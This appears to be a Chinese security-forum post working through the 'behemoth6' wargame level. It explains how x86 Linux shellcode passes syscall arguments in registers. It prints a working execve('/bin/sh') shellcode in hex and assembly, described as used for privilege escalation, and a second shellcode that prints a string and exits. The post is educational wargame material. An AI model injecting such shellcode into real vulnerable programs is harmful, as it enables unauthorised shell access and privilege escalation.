-
-
[原创]WarGame-behemoth6 番外篇-再学ShellCode
-
发表于: 2019-9-22 10:29 4013
-
之前的番外篇讲到如何用一个简单的shellcode来提权,事实上关于shellcode的写法还有很多细节没讲到(主要是当时没学到o(╥﹏╥)o),例如behemoth6需要用到的shellcode就会对小白们的技术提升有所帮助,原始shellcode代码如下
Explanation: 6a 0b push 0xb 58 pop eax 99 cdq 68 2f 73 68 00 push 0x68732f 68 2f 62 69 6e push 0x6e69622f 89 e3 mov ebx,esp 31 c9 xor ecx,ecx cd 80 int 0x80
这个shellcode的主要作用就是执行'/bin/sh',再看behemoth6中需要的shellcode
Explanation: push 0x4 pop eax cdq mov ebx,1 push 0x00007974 push 0x74694b6f push 0x6c6c6548 mov ecx,esp mov edx,12 int 0x80 push 0x1 pop eax mov ebx, 1 int 0x80
大部分人在做过大量逆向工作后习惯性的认为函数传参就是push入栈然后call,Windows我不知道,但是对于Linux的syscall则是通过寄存器来传参,int 80则是调用syscall,具体介绍可以参考Linux Syscall Reference,不同系统函数都是通过eax(系统函数调用号)、ebx、ecx、edx四个寄存器实现调用的(有些并没有全都用到),需要注意的是像execve这样的函数虽然四个寄存器都用到了,但是通常情况下只需要给出eax(0xb)和ebx(/bin/sh)就可以了,其他的必须置0;至于普通人写的代码为什么是通过栈传参,可能是因为参数的个数和长度不确定吧(我猜的O(∩_∩)O)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2019-9-22 10:30
被pureGavin编辑
,原因:
赞赏
他的文章
- [翻译]fuzzer开发4:快照、代码覆盖率与模糊测试 2379
- [翻译]fuzzer开发 3:构建 Bochs、MMU 和文件 IO 1817
- [翻译]fuzzer开发 2:沙盒化系统调用 1818
- [翻译]fuzzer开发 1:一个新机器 2120
- [推荐]我的翻译索引贴 1182
看原图
赞赏
雪币:
留言: